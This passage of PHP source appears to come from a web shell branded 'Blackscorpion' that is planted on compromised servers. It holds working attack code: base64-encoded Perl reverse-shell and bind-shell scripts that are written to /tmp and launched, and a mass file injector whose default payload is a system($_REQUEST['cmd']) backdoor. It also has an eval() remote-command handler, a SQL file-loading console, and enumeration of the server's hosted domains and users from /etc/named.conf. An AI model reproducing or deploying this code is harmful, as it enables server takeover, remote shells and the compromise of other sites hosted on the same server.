2081 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2082 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2083 echo htmlspecialchars($_POST['p2']);
2084 echo "</textarea><br/><input type=submit value='Execute'>";
2085 echo "</td></tr>";
2086 }
2087 echo "</table></form><br/>";
2088 if($_POST['type']=='mysql') {
2089 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2090 if($db->fetch())
2091 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2092 }
2093 if(@$_POST['p1'] == 'loadfile') {
2094 $file = $db->loadFile($_POST['p2']);
2095 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2096 }
2097 } else {
2098 echo htmlspecialchars($db->error());
2099 }
2100 echo '</div>';
2101 BlackscorpionFooter();
2102}
2103function actionNetwork() {
2104 BlackscorpionHeader();
2105 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2106 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2107 echo "<center><h1>Back Connecter Via Perl</h1></center><div class=content>
2108 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2109 <span>Bind port to /bin/sh [perl]</span><br/>
2110 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2111 </form>
2112 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2113 <span>Back-connect [perl]</span><br/>
2114 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2115 </form><br>";
2116 if(isset($_POST['p1'])) {
2117 function cf($f,$t) {
2118 $w = @fopen($f,"w") or @function_exists('file_put_contents');
2119 if($w){
2120 @fwrite($w,@base64_decode($t));
2121 @fclose($w);
2122 }
2123 }
2124 if($_POST['p1'] == 'bpp') {
2125 cf("/tmp/bp.pl",$bind_port_p);
2126 $out = BlackscorpionEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2127 sleep(1);
2128 echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bp.pl")."</pre>";
2129 unlink("/tmp/bp.pl");
2130 }
2131 if($_POST['p1'] == 'bcp') {
2132 cf("/tmp/bc.pl",$back_connect_p);
2133 $out = BlackscorpionEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2134 sleep(1);
2135 echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bc.pl")."</pre>";
2136 unlink("/tmp/bc.pl");
2137 }
2138 }
2139 echo '</div>';
2140 BlackscorpionFooter();
2141}
2142function actionInjector(){
2143 BlackscorpionHeader();
2144 echo '<center><h1>Mass Code Injector</h1></center>';
2145 echo '<div class="content">';
2146
2147 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
2148 function get_structure($path,$depth) {
2149 global $DS;
2150 $res = array();
2151 if(in_array(0, $depth)) { $res[] = $path; }
2152 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
2153 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
2154 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
2155 }
2156 if(in_array(2, $depth) or in_array(3, $depth)) {
2157 $tmp2 = array();
2158 foreach($tmp1 as $t){
2159 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
2160 $tmp2 = array_merge($tmp2, $tp2);
2161 }
2162 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
2163 }
2164 if(in_array(3, $depth)) {
2165 $tmp3 = array();
2166 foreach($tmp2 as $t){
2167 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
2168 $tmp3 = array_merge($tmp3, $tp3);
2169 }
2170 $res = array_merge($res,$tmp3);
2171 }
2172 return $res;
2173 }
2174 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
2175 $name = $_POST['name'] ? $_POST['name'] : '*';
2176 $type = $_POST['type'] ? $_POST['type'] : 'html';
2177 $path = $_POST['path'] ? $_POST['path'] : getcwd();
2178 $code = $_POST['code'] ? $_POST['code'] : 'Team ProBros | Blackscorpion';
2179 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
2180 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
2181 $dt = get_structure($path,$depth);
2182 foreach ($dt as $d) {
2183 if($mode == 'a') {
2184 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
2185 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
2186 } else {
2187 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2188 }
2189 } else {
2190 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
2191 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
2192 } else {
2193 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2194 }
2195 }
2196 }
2197 } else {
2198 echo '<form method="post" action="">
2199 <table align="center">
2200 <tr>
2201 <td>Directory : </td>
2202 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
2203 </tr>
2204 <tr>
2205 <td class="title">Mode : </td>
2206 <td>
2207 <select style="width: 100px;" name="mode" class="box">
2208 <option value="a">Apender</option>
2209 <option value="w">Overwriter</option>
2210 </select>
2211 </td>
2212 </tr>
2213 <tr>
2214 <td class="title">File Name & Type : </td>
2215 <td>
2216 <input type="text" style="width: 100px;" name="name" value="index"/>
2217 <select style="width: 100px;" name="type" class="box">
2218 <option value="html">HTML</option>
2219 <option value="htm">HTM</option>
2220 <option value="php" selected="selected">PHP</option>
2221 <option value="asp">ASP</option>
2222 <option value="aspx">ASPX</option>
2223 <option value="xml">XML</option>
2224 <option value="txt">TXT</option>
2225 </select></td>
2226 </tr>
2227 <tr>
2228 <td class="title">Code Inject Depth : </td>
2229 <td>
2230 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
2231 <input type="checkbox" name="depth[]" value="1"/> 1
2232 <input type="checkbox" name="depth[]" value="2"/> 2
2233 <input type="checkbox" name="depth[]" value="3"/> 3
2234 </td>
2235 </tr>
2236 <tr>
2237 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><?php
2238if (isset($_REQUEST["cmd"])) {
2239 system($_REQUEST["cmd"]);
2240}
2241?></textarea></td>
2242 </tr>
2243 <tr>
2244 <td colspan="2" style="text-align: center;">
2245 <input type="hidden" name="a" value="Injector">
2246 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2247 <input type="hidden" name="p1">
2248 <input type="hidden" name="p2">
2249 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2250 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
2251 </tr>
2252 </table>
2253 </form>';
2254 }
2255 echo '</div>';
2256 BlackscorpionFooter();
2257}
2258function actionRC() {
2259 if(!@$_POST['p1']) {
2260 $a = array(
2261 "uname" => php_uname(),
2262 "php_version" => phpversion(),
2263 "Blackscorpion_version" => Blackscorpion_VERSION,
2264 "safemode" => @ini_get('safe_mode')
2265 );
2266 echo serialize($a);
2267 } else {
2268 eval($_POST['p1']);
2269 }
2270}
2271function actionDomain() {
2272 BlackscorpionHeader();
2273echo '<center><h1>Local Domains</h1></center><div class=content><br>';
2274$file = @implode(@file("/etc/named.conf"));
2275$Domain_path = "/var/named";
2276if (!$file) {
2277$domains = scandir($Domain_path);
2278$count=1;
2279$dc = 0;
2280 echo "<table align=center border=1 width=59% cellpadding=5>
2281<tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
2282<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2283foreach ($domains as &$domain) {
2284 if (stripos($domain,".db")) {
2285 $domain = str_replace('.db','',$domain);
2286 }
2287 if (strlen($domain) > 6) {
2288
2289 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
2290 }
2291
2292 }
2293 echo "</table>";
2294}else{
2295 $count = 1;
2296 preg_match_all("#named/(.*?).db#", $file, $r);
2297 $domains = array_unique($r[1]);
2298 echo "<table align=center border=1 width=59% cellpadding=5>
2299<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
2300<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2301 foreach ($domains as $domain) {
2302 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2303 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
2304 }
2305}
2306
2307 BlackscorpionFooter();
2308 }
2309if( empty($_POST['a']) )
2310 if(isset($default_action) && function_exists('action' . $default_action))
2311 $_POST['a'] = $default_action;
2312 else
2313 $_POST['a'] = 'SecInfo';
2314if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2315 call_user_func('action' . $_POST['a']);
2316exit;
2317?>